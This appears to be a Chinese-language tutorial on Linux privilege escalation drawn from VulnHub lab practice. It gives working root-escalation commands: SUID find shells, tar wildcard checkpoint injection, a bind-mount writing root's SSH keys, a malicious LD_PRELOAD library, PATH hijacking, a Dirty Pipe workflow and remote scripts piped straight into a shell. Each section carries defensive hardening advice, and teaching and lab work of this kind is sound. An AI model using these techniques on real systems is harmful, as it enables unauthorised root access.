Linux提权实战:从SUID、Capabilities到内核漏洞的系统化攻防指南
1. 项目概述:从靶机到实战的提权思维构建
最近在VulnHub上通关了几个经典的Linux靶机,发现一个非常有意思的现象:很多初学者在拿到一个低权限shell后,往往会陷入迷茫,不知道下一步该往哪里走。他们可能知道一些零散的提权命令,比如find / -perm -4000 2>/dev/null,但缺乏一个系统性的、可复现的“提权链路”思维。这正是我想通过这篇实战总结来分享的核心——如何将SUID、Capabilities、内核漏洞等看似独立的提权技术,串联成一条清晰的攻击路径,形成一套可应对不同场景的“肌肉记忆”。
简单来说,这篇内容就是一次完整的“提权复盘”。我会以一个虚拟的、但融合了VulnHub多个靶机典型特征的实战环境为例,带你走一遍从普通用户到root权限的全过程。这个过程不仅仅是命令的堆砌,更重要的是思路的梳理:在什么情况下优先检查什么?为什么这个文件可疑?那个内核版本存在什么隐患?我们最终的目标是,让你在未来的渗透测试或CTF比赛中,面对一个陌生的Linux系统,能像老手一样,快速、有条理地完成权限提升。
无论你是刚接触网络安全的新手,还是想系统化自己提权知识的中级玩家,这篇内容都会很有帮助。我会尽量用直白的语言和类比,把每个步骤背后的原理讲清楚,并提供大量可以直接“抄作业”的命令和排查技巧。毕竟,在真实的攻防对抗中,效率就是生命线。
2. 提权前的侦察与信息收集:摸清家底再动手
在拿到一个初始立足点(比如一个www-data的Web Shell,或者一个通过漏洞获取的普通用户shell)之后,切忌直接开始漫无目的地运行各种提权脚本。一个有经验的攻击者,会像侦探一样,先花时间彻底了解当前所处的环境。这个阶段收集的信息质量,直接决定了后续提权路径的选择效率和成功率。
2.1 系统与用户环境初探
首先,我们需要知道“我们是谁”和“我们在哪”。这包括当前用户身份、主机基础信息以及网络环境。
# 查看当前用户及所属组 id # 输出示例:uid=1000(victim) gid=1000(victim) groups=1000(victim),24(cdrom) # 查看系统基础信息 uname -a # 关键信息:内核版本(如 5.4.0-96-generic)、系统架构(x86_64) # 查看发行版信息 cat /etc/os-release lsb_release -a # 这决定了后续寻找漏洞和利用工具的方向(是Debian/Ubuntu系,还是RHEL/CentOS系) # 查看主机名和网络配置 hostname ifconfig 或 ip addr # 了解当前主机在网络中的位置,是否有其他网卡或内部网络这些命令的输出构成了我们对目标系统的第一印象。例如,如果id命令显示我们属于docker组,那么提权路径可能瞬间变得清晰——滥用Docker组权限是经典手法。如果内核版本非常老旧,那么内核漏洞提权的优先级就要大大提高。
2.2 进程、网络与服务排查
接下来,我们要看看系统正在“忙什么”。运行中的进程、开放的网络端口以及启动的服务,常常会暴露出意想不到的突破口。
# 查看以root身份运行的进程(精简版) ps aux | grep root | head -20 # 重点寻找:是否有以root权限运行的、我们可能有能力影响的脚本或程序(如备份脚本、监控脚本) # 查看网络连接和监听端口 netstat -tulnp 或 ss -tulnp # 关键点:除了常见的80、443,是否有本地监听的高权限服务(如3306 MySQL, 6379 Redis),并且允许本地连接?这些服务可能配置不当。 # 查看计划任务(Cron Jobs) cat /etc/crontab ls -la /etc/cron.*/ crontab -l # Cron任务是提权的金矿。寻找任何全局可写的脚本,或者由root执行但路径或权限设置不当的任务。一个我踩过的坑:有一次在一个靶机上,我发现一个每分钟以root身份运行的/opt/scripts/backup.sh脚本。这个脚本本身不可写,但它会调用一个全局可写的配置文件。通过向该配置文件注入命令,我成功实现了提权。这提醒我们,检查Cron时不仅要看脚本本身,还要看它依赖的资源。
2.3 文件与目录权限审计
这是信息收集的重头戏,也是发现SUID、Capabilities等直接提权向量的关键。我们需要高效地扫描整个文件系统,寻找配置错误和弱权限点。
# 1. 查找所有SUID文件(Set User ID) find / -type f -perm -4000 -ls 2>/dev/null # 更详细的查看方式: find / -type f -perm -u=s -exec ls -la {} \; 2>/dev/null # 2. 查找所有SGID文件(Set Group ID) find / -type f -perm -2000 -ls 2>/dev/null # 3. 查找全局可写文件(World-writable files) find / -type f -perm -o=w ! -path "/proc/*" ! -path "/sys/*" -ls 2>/dev/null 2>/dev/null | head -30 # 注意排除/proc和/sys等虚拟文件系统,它们会返回大量无关结果。 # 4. 查找全局可写目录 find / -type d -perm -o=w ! -path "/proc/*" ! -path "/sys/*" -ls 2>/dev/null 2>/dev/null | head -30 # 全局可写目录意味着你可以放入恶意脚本,并可能在其他地方(如Cron)被触发执行。 # 5. 查找当前用户可写的敏感配置文件 find /etc -type f -writable 2>/dev/null find /etc -type f -readable 2>/dev/null | grep -E "(passwd|shadow|sudoers)" # 如果能改/etc/passwd,直接添加一个UID=0的用户就结束了。执行这些find命令可能需要一些时间,尤其是在大型系统上。在实战中,我通常会开一个后台进程慢慢跑,同时进行其他手动的、更有针对性的检查。记住,/dev/shm、/tmp、/var/tmp这些临时目录通常是全局可写的,是上传工具和存储中间结果的理想位置。
3. 第一链路:SUID/SGID滥用提权详解
SUID(Set User ID)是Linux权限体系中一个强大而危险的特权。当一个可执行文件被设置了SUID位,无论谁执行它,该程序都会以文件所有者的身份运行。如果这个所有者是root,而程序本身存在漏洞或设计缺陷,就可能成为我们提权的跳板。
3.1 SUID原理与危险程序识别
理解SUID,可以把它想象成一把“尚方宝剑”。平时挂在墙上(文件在磁盘上),谁都可以拿起来(执行它)。但一旦拿起,挥舞这把剑的人就暂时拥有了皇帝(文件所有者)的权威。问题在于,如果这把“剑”的铸造工艺有缺陷(程序有漏洞),或者剑鞘的设计允许你偷偷往剑身上抹毒药(输入验证不严),那么拿剑的人就可能利用这个缺陷去做皇帝才能做的事。
我们通过find命令找到的SUID文件列表,需要逐一甄别。常见的、正常的SUID程序包括/bin/passwd、/bin/su、/bin/mount等,它们需要root权限来完成修改用户密码、切换用户、挂载文件系统等操作。我们需要寻找的是那些不常见的、或者本不该拥有SUID位的程序。
危险SUID程序特征:
- 不常见路径:出现在
/home/user/、/opt/、/tmp/等非标准目录下的SUID文件,极有可能是管理员错误配置或攻击者遗留的后门。 - 功能强大的命令:如
find、vim、nano、bash、cp、mv等。如果这些命令被设置了SUID root,几乎等同于直接拿到root shell。 - 自定义脚本或程序:任何非系统自带的、看起来是管理员自己编写的脚本或二进制文件,如果带了SUID位,都值得深入分析。
3.2 经典SUID提权手法实战
假设我们在侦察阶段发现了一个不寻常的SUID文件:/usr/local/bin/custom_backup,其所有者为root。
第一步:分析程序功能
ls -la /usr/local/bin/custom_backup # 输出:-rwsr-xr-x 1 root root 16784 May 10 2023 /usr/local/bin/custom_backup # 注意权限中的‘s’,代表SUID。 file /usr/local/bin/custom_backup # 查看文件类型,是二进制还是脚本? strings /usr/local/bin/custom_backup | head -20 # 用strings提取可打印字符,看看有没有提示信息,比如它调用了哪些命令。第二步:尝试利用——以find命令为例如果发现/usr/bin/find有SUID位,那么提权就在一瞬间:
/usr/bin/find . -exec /bin/bash -p \; -quit # 或者 /usr/bin/find . -exec /bin/sh -p \; -quit这里的-p参数对于bash和sh很重要,它告诉shell在特权模式下运行(即不丢弃SUID/SGID带来的特权)。执行后,你会直接获得一个root shell。
第三步:利用自定义程序的缺陷回到custom_backup的例子。通过strings分析,发现它内部执行了tar -cf /backups/backup.tar *。关键点在于,这个*通配符是由custom_backup程序运行时解析的,而程序是以root身份运行的。如果我们在其执行目录下,创建一个名为--checkpoint=1或--checkpoint-action=exec=sh的文件,tar命令会将其当作参数解析,从而执行我们指定的命令。
# 进入custom_backup可能的工作目录(假设是/var/www/html) cd /var/www/html echo '#!/bin/bash' > shell.sh echo '/bin/bash -p' >> shell.sh chmod +x shell.sh # 利用tar的--checkpoint-action参数 touch -- '--checkpoint=1' touch -- '--checkpoint-action=exec=./shell.sh' # 然后等待或触发custom_backup的执行(比如它是个Cron任务)当custom_backup以root身份执行tar -cf /backups/backup.tar *时,*会扩展成包含我们创建的这两个文件名,tar会执行--checkpoint-action指定的脚本,从而给我们一个root shell。
实操心得:不是所有SUID程序都能直接利用。有时需要结合程序的功能、参数和环境进行深度利用。一个很好的资源是GTFOBins(https://gtfobins.github.io/),它整理了大量常见Linux命令在特定权限(SUID、Sudo等)下的利用方法。遇到一个SUID程序,先去这里查一下,往往会有惊喜。
3.3 SUID提权排查清单与防御
从防御视角看,管理SUID文件是加固系统的重要一环。作为管理员,应该定期审计系统上的SUID文件。
# 生成SUID文件基线 find / -type f -perm -4000 2>/dev/null > /tmp/suid_baseline.txt # 定期运行并对比,检查是否有新增的、异常的SUID文件。不必要的SUID位应该被移除:
sudo chmod u-s /path/to/unnecessary_suid_file对于自定义程序,应遵循最小权限原则,考虑是否能用更精细的Capabilities机制替代粗放的SUID。
4. 第二链路:Linux Capabilities权限提升剖析
Capabilities是比SUID更细粒度的权限控制机制,它将root超级用户的权力拆分成几十个独立的“能力”。一个进程可以只拥有它需要的特定能力,而不是完整的root权限。这提升了安全性,但配置错误同样会导致提权。
4.1 Capabilities基础与侦察
可以把Capabilities想象成一套“技能卡”。root用户拥有全套卡片。普通程序默认没有卡片。管理员可以给某个程序发放几张特定的“技能卡”,让它能完成某些特权操作,比如CAP_DAC_READ_SEARCH(忽略文件读权限检查)或CAP_SYS_ADMIN(执行一系列系统管理操作)。
侦察Capabilities的命令是getcap:
# 递归查看系统中所有设置了Capabilities的文件 getcap -r / 2>/dev/null这是一个非常关键的命令,输出可能像这样:
/usr/bin/ping = cap_net_raw+ep /usr/bin/arping = cap_net_raw+ep /usr/sbin/suexec = cap_setgid,cap_setuid+ep /usr/local/bin/custom_tool = cap_sys_admin+ep前两行是正常的,ping和arping需要cap_net_raw能力来发送原始网络包。最后一行custom_tool拥有cap_sys_admin能力就非常危险了。
4.2 危险Capabilities利用实战
cap_sys_admin是能力中的“瑞士军刀”,它包含了很多危险的操作,其中之一是挂载操作。如果我们可以控制挂载,就能实现提权。
场景:我们发现/usr/local/bin/mount_tmpfs拥有cap_sys_admin+ep能力,并且它允许用户指定挂载参数。
利用思路:利用mount的--bind选项,将root的SSH授权密钥文件authorized_keys绑定到一个我们可写的目录,然后向其中添加我们自己的公钥。
步骤:
- 生成SSH密钥对(在攻击机上):
ssh-keygen -t rsa -f attack_key # 会生成attack_key(私钥)和attack_key.pub(公钥) - 在靶机上,利用有能力的程序进行挂载(假设我们能让
mount_tmpfs执行以下命令,或者该程序本身逻辑就是执行mount):
现在,# 创建一个临时目录 mkdir /tmp/exploit # 将根目录绑定到临时目录(这需要cap_sys_admin) mount --bind / /tmp/exploit/tmp/exploit就是根目录的视图。我们可以写入/tmp/exploit/root/.ssh/authorized_keys,实际上就是在写入/root/.ssh/authorized_keys。 - 将攻击机的公钥写入目标机的授权文件:
echo "ssh-rsa AAAAB3NzaC1yc2E...(你的公钥内容)" >> /tmp/exploit/root/.ssh/authorized_keys - 确保
/root/.ssh目录权限正确:chmod 700 /tmp/exploit/root/.ssh chmod 600 /tmp/exploit/root/.ssh/authorized_keys - 从攻击机使用私钥登录:
ssh -i attack_key root@靶机IP
另一个危险的能力是cap_dac_read_search,它允许进程绕过文件系统的读权限检查。拥有此能力的程序可以读取系统上的任何文件,包括/etc/shadow。如果这个程序还能以某种方式将文件内容输出或泄露给我们,那么我们就可能获取密码哈希并进行破解。
注意事项:Capabilities的利用通常比SUID更复杂,需要深入理解特定能力所允许的操作,并找到将其转化为代码执行或敏感信息泄露的方法。
cap_sys_ptrace能力可以附加到其他进程(包括root进程),cap_linux_immutable可以修改系统不可变文件,这些都是潜在的突破口。当getcap返回不寻常的结果时,一定要深入研究那个程序是做什么的,以及它拥有的能力可以如何被滥用。
4.3 Capabilities安全配置建议
对于系统管理员,Capabilities是一把双刃剑。正确使用能增强安全,错误配置则制造漏洞。
- 原则:遵循最小权限原则,只赋予程序完成任务所必需的最少能力。
- 审计:定期运行
getcap -r /,审查列表中的程序是否真的需要这些能力。 - 移除:使用
setcap -r /path/to/file来移除文件的所有能力。 - 替代SUID:对于需要部分特权而非全部root权限的程序,考虑用Capabilities替代SUID。例如,给网络诊断工具赋予
cap_net_raw,而不是设置SUID root。
5. 第三链路:内核漏洞提权与自动化工具运用
当系统层面的配置错误(SUID、Capabilities)都不存在时,我们的目光就需要转向系统的基石——Linux内核。内核漏洞提权是“降维打击”,它不依赖于任何用户态程序的配置错误,而是直接利用操作系统核心代码的缺陷。这类漏洞一旦利用成功,可靠性极高。
5.1 内核漏洞提权基本原理
内核是操作系统的核心,拥有最高的权限(Ring 0)。内核漏洞通常包括:
- 内存破坏漏洞:如缓冲区溢出、释放后重用(UAF)、越界读写等。利用这类漏洞,攻击者可以在内核空间执行任意代码。
- 逻辑漏洞:如竞争条件、权限检查绕过等。利用这类漏洞,攻击者可以欺骗内核,使其执行本不该允许的操作。
提权过程一般分为几步:
- 信息收集:精确获取内核版本、发行版、架构信息。
uname -a是最基本的命令,但有时需要更详细的信息,如通过cat /proc/version或查看/etc/os-release。 - 漏洞匹配:根据收集到的信息,在公开的漏洞数据库(如Exploit-DB、GitHub、CVE详情页)中寻找对应的本地提权漏洞。
- 利用准备:下载或编写漏洞利用代码(Exploit)。通常是用C语言编写的。在靶机上编译它(需要gcc等工具链),或者交叉编译后上传。
- 执行利用:运行Exploit。成功的利用会使当前进程获得root权限。
5.2 手动与自动化利用实战
手动流程示例: 假设uname -a显示内核版本为5.8.0-48-generic。通过搜索,我们发现了著名的“Dirty Pipe”漏洞(CVE-2022-0847),影响5.8到5.16.11之间的内核。
- 下载Exploit:从GitHub获取
dirtypipe.c源码。 - 上传到靶机:可以通过简单的HTTP服务器(
python3 -m http.server 8000)和wget命令完成。 - 编译:在靶机上执行
gcc dirtypipe.c -o dirtypipe。如果缺少gcc,可能需要寻找替代方案,如使用静态编译的二进制文件,或者利用其他语言(如Python)编写的Exploit。 - 执行:
./dirtypipe。如果成功,当前shell应该会变成#提示符。
自动化工具——Linux Exploit Suggester: 手动搜索和匹配效率较低。这时,自动化脚本就派上用场了。linux-exploit-suggester(通常是Perl或Shell脚本)就是这样一个神器。它会根据当前系统的内核版本等信息,自动推荐可能适用的本地提权漏洞。
# 将脚本上传到靶机并运行 ./linux-exploit-suggester.sh # 或者直接远程获取并运行(如果靶机有网络) curl -s https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash运行后,脚本会输出一个列表,包含可能适用的CVE编号、漏洞名称、影响版本以及Exploit的下载链接。这极大地提高了我们的效率。
另一个强大工具:LinPEASLinPEAS (Linux Privilege Escalation Awesome Script) 是一个更全面的信息收集和提权建议脚本。它不只是检查内核漏洞,还会自动化检查我们前面提到的所有内容:SUID、SGID、Capabilities、Cron任务、进程、服务、密码文件、历史命令等等。
# 下载并运行LinPEAS curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # 或者上传脚本后运行 ./linpeas.shLinPEAS的输出会高亮显示(红色/黄色)高风险发现,并给出详细的利用建议。对于渗透测试新手来说,LinPEAS几乎是必备工具。
实操心得与避坑指南:
- 环境依赖:很多Exploit是C代码,需要编译。靶机上可能没有
gcc。可以提前准备静态编译的二进制版本,或者使用像musl-gcc这样生成更小、兼容性更好的静态二进制文件。也可以尝试使用Python版的Exploit。- 对抗安全机制:现代系统可能有安全机制,如SELinux/AppArmor(强制访问控制)、内核地址空间布局随机化(KASLR)、** Supervisor Mode Execution Protection (SMEP/SMAP)** 等。这些可能会使某些Exploit失效。LinPEAS等脚本通常会检测这些机制。遇到利用失败时,需要检查是否被这些机制阻挡,并寻找相应的绕过方法或针对新内核的Exploit。
- 稳定性风险:内核Exploit可能导致系统崩溃(内核恐慌)。在生产环境或重要的靶机上使用要格外小心,最好先在有相似环境的测试机上验证。
- 版本精确性:内核版本匹配非常重要。主版本号、次版本号、修订号都需要考虑。有时发行版厂商会向后移植安全补丁,导致内核版本号看起来有漏洞,但实际上已修复。自动化工具的建议是很好的起点,但最终需要手动验证。
5.3 内核漏洞的防御视角
从系统管理员角度看,防御内核漏洞提权是持续性的工作:
- 及时更新:保持内核和系统软件更新到最新稳定版是最有效的方法。建立补丁管理流程。
- 最小化攻击面:移除或禁用不需要的内核模块和功能。
- 启用安全机制:确保SELinux/AppArmor处于 enforcing 模式,启用KASLR等缓解措施。
- 监控与检测:使用审计日志(如
auditd)或安全产品监控异常的内核模块加载、特权提升等行为。
6. 辅助与替代路径:不常见的提权角度
除了上述三大主线,实战中还有一些“旁门左道”或特定环境下的提权方法,它们可能成为在主要路径受阻时的突破口。
6.1 环境变量劫持与路径滥用
Linux系统在通过命令名(如ls)执行程序时,会在PATH环境变量指定的目录列表中从左到右寻找该命令。如果我们将一个包含恶意代码的脚本命名为与系统命令相同的名字(如ls),并放在PATH中优先级更高的目录里,那么当某些程序(特别是以高权限运行但未使用绝对路径的程序)调用该命令时,就会执行我们的恶意脚本。
利用场景:一个以root权限运行的脚本或Cron任务中,调用了tar或rsync等命令,但没有使用/bin/tar这样的绝对路径。
- 寻找机会:检查所有以root运行的脚本、Cron任务、SUID/SGID程序,看它们是否使用了相对路径的命令调用。
- 实施劫持:如果发现
tar被调用,且我们有一个可写目录在PATH中(比如当前用户的~/bin,或者因为配置错误导致/tmp在PATH中),我们可以:echo '#!/bin/bash' > /tmp/tar echo '/bin/bash -p' >> /tmp/tar # 或者执行任意命令 chmod +x /tmp/tar export PATH=/tmp:$PATH # 将/tmp添加到PATH最前面 - 触发执行:等待或触发那个root任务运行。当它调用
tar时,系统会先在/tmp目录下找到我们的恶意脚本并执行,从而获得root shell。
注意:这种利用方式对使用绝对路径调用的程序无效。现代系统和管理员脚本通常会更规范地使用绝对路径。
6.2 共享对象(SO)注入与LD_PRELOAD
LD_PRELOAD是一个强大的环境变量,它允许用户指定在程序运行时首先加载的动态链接库。如果我们可以控制一个以高权限运行的程序的LD_PRELOAD环境变量,并让它加载我们编写的恶意库,那么库中的代码就会以高权限执行。
利用条件:
- 目标程序是动态链接的(而不是静态编译的)。
- 目标程序没有设置
SUID安全限制(或者设置了但允许LD_PRELOAD,这很少见)。实际上,SUID/SGID程序在执行时会忽略LD_PRELOAD等环境变量,这是一种安全机制。因此,这种方法通常对SUID程序无效。 - 我们能以某种方式设置程序的
LD_PRELOAD环境变量。这可能在以下情况发生:- 通过
sudo执行命令,并且sudoers配置中允许用户保留某些环境变量(通过env_keep选项,如env_keep += LD_PRELOAD)。这是一个常见的配置错误。 - 通过其他服务或脚本调用,且环境变量控制不严。
- 通过
利用步骤:
- 编写恶意共享库(
evil.c):#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash -p"); } - 编译为共享库:
gcc -fPIC -shared -o evil.so evil.c -nostartfiles - 通过配置错误的sudo执行: 假设
sudoers文件中有这样一行:victim ALL=(ALL) NOPASSWD: /usr/bin/某程序,并且env_keep中包含了LD_PRELOAD。
如果成功,将会获得一个root shell。sudo LD_PRELOAD=/path/to/evil.so /usr/bin/某程序
6.3 密码与哈希破解
虽然听起来不那么“技术”,但寻找并破解密码哈希仍然是最直接的方法之一。信息收集阶段就要留意:
- 配置文件中的密码:Web应用配置文件(如
wp-config.php、config.inc.php)、数据库连接字符串、备份脚本中的硬编码密码。 - 历史命令:
history命令可能泄露管理员输入过的密码(虽然通常以星号显示,但有时会明文记录)。 - 内存中的密码:使用
strings /dev/mem | grep -i pass或更专业的工具(但需要权限)。 - Shadow文件读取:如果通过某种漏洞(如
cap_dac_read_search能力、任意文件读取漏洞)拿到了/etc/shadow文件,就可以尝试用john或hashcat工具破解哈希。
本地密码爆破:如果拿到了/etc/shadow,可以结合/etc/passwd使用unshadow工具生成适合John the Ripper破解的格式文件。
# 在攻击机上操作 unshadow passwd.txt shadow.txt > hashes.txt john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt这些辅助路径的成功率取决于系统的具体配置和管理的严谨程度。它们提醒我们,提权是一个全面的侦查过程,需要关注系统的每一个细节。
7. 实战融合与排查心法:构建你的提权检查清单
经过前面几个链路的拆解,我们已经掌握了多种武器。但在真实的Vulnhub靶机或者渗透测试项目中,情况往往是复杂的,需要我们将这些方法融会贯通,形成一套高效的排查流程。下面是我个人总结的“提权检查清单”和实战心法。
7.1 层次化、系统化的排查流程
不要东一榔头西一棒子。我建议按照以下顺序,像流水线一样进行排查,每一步都使用工具辅助,并手动验证关键发现:
第一层:快速赢取点 (Quick Wins) - 5分钟内
- sudo -l:第一时间运行
sudo -l,查看当前用户无需密码可以以root身份运行哪些命令。这是最快捷的提权方式之一。如果看到(ALL) NOPASSWD: ALL,那游戏已经结束。更常见的是像(ALL) NOPASSWD: /usr/bin/vim、/usr/bin/find、/usr/bin/python等,这些都可以通过GTFOBins快速找到提权命令。 - SUID/SGID快速扫描:运行
find / -type f -perm -4000 -o -perm -2000 2>/dev/null | grep -vE "^/proc|^/sys",快速过滤出可疑的、非标准的SUID/SGID文件,结合GTFOBins检查。 - Capabilities扫描:运行
getcap -r / 2>/dev/null,查看是否有危险的Capabilities设置。
第二层:深度信息收集与分析 - 10-15分钟如果快速赢取点没有结果,启动自动化脚本进行深度收集,同时手动检查重点区域。
- 运行LinPEAS:上传并运行
linpeas.sh。让它全面扫描,期间你可以手动跟进它高亮显示的风险点。 - 手动检查重点:
- Cron任务:仔细查看
/etc/crontab、/etc/cron.d/、/var/spool/cron/crontabs/。寻找任何全局可写的脚本或调用命令路径不绝对的任务。 - 系统进程:
ps auxwww查看所有进程,特别关注以root运行的非系统守护进程、奇怪的参数、引用的配置文件路径。 - 网络服务:
netstat -tulnp查看本地监听的服务。尝试连接本地的MySQL、Redis、Memcached等服务,看是否有空密码或弱密码。这些服务如果以root运行,一旦被攻破就是直接提权。 - 用户文件与历史:检查
~/.bash_history、~/.ssh/目录、~/.mysql_history等,寻找密码、密钥、敏感操作记录。
- Cron任务:仔细查看
第三层:内核与版本漏洞利用 - 时间不定
- 精确信息:用
uname -a、cat /etc/os-release、dpkg -l | grep linux-image(Debian系)或rpm -qa | grep kernel(RHEL系)精确获取内核和系统版本。 - 漏洞匹配:运行
linux-exploit-suggester脚本,获取漏洞建议列表。 - 利用尝试:根据建议,下载或编写对应的Exploit。优先尝试那些标明“可靠”或“流行”的漏洞,如Dirty Pipe、Dirty Cow的变种等。注意编译环境和依赖。
7.2 常见问题排查与工具使用技巧
- LinPEAS没有颜色输出?可能是终端类型问题。可以尝试
TERM=xterm ./linpeas.sh,或者将输出重定向到文件再查看:./linpeas.sh > linpeas_report.txt,然后用cat查看,有时颜色代码会保留在文件中。 - Exploit编译失败?
- 缺少头文件:尝试在Exploit代码中注释掉非必需的头文件,或者寻找更简单的Exploit版本。
- 缺少gcc:尝试上传预编译的静态二进制文件。或者,如果靶机有
python、perl、php,寻找用这些语言编写的Exploit。 - 架构不匹配:用
uname -m确认是x86_64还是i386。下载或编译对应架构的Exploit。
- Exploit运行后系统卡死或崩溃?内核Exploit有风险。如果靶机是虚拟机,可以快照恢复。在真实测试中,这可能是漏洞利用不稳定的表现,需要寻找更稳定的Exploit或尝试其他方法。
- 找不到任何明显的向量?回过头再仔细做一遍手动检查。查看
/opt/、/home/目录下所有用户的家目录、/var/www/、/var/log/中是否有包含密码的日志文件。思考应用程序的逻辑,是否有通过Web上传文件的功能,上传的文件是否会被其他高权限进程处理?
7.3 防御视角的加固清单
作为蓝队或系统管理员,你可以根据攻击者的排查清单,反过来加固你的系统:
- 定期审计:使用类似
lynis的系统审计工具,定期扫描SUID/SGID文件、Capabilities、sudo权限、Cron任务等。 - 遵循最小权限:
- 移除非必要的SUID位:
find / -type f -perm -4000 -exec ls -la {} \; 2>/dev/null然后逐一评估。 - 清理非必要的Capabilities:
getcap -r / 2>/dev/null然后逐一评估。 - 精细配置sudoers,使用
NOPASSWD要极其谨慎,避免通配符,尽量指定精确的命令和参数。
- 移除非必要的SUID位:
- 控制PATH和环境变量:在root执行的脚本中,始终使用绝对路径。在sudoers配置中,谨慎使用
env_keep,特别是避免保留LD_PRELOAD、LD_LIBRARY_PATH等危险变量。 - 保持更新:建立严格的内核及软件包更新机制。
- 日志与监控:启用并集中管理系统日志(
auditd、syslog),监控特权提升事件、异常进程创建、敏感文件访问等行为。
提权本质上是一场信息不对称的战争。攻击者寻找的是系统配置、软件逻辑或内核代码中那一道细微的裂缝。而防御者要做的,就是通过最小权限、持续更新和深度监控,将这些裂缝尽可能弥合。通过这种攻防视角的切换,无论是为了通过VulnHub靶机提升技能,还是为了在实际工作中更好地守护系统,你都能获得更深刻的理解。最重要的不是记住每一个命令,而是建立起那种“在哪里寻找漏洞”的系统性思维。
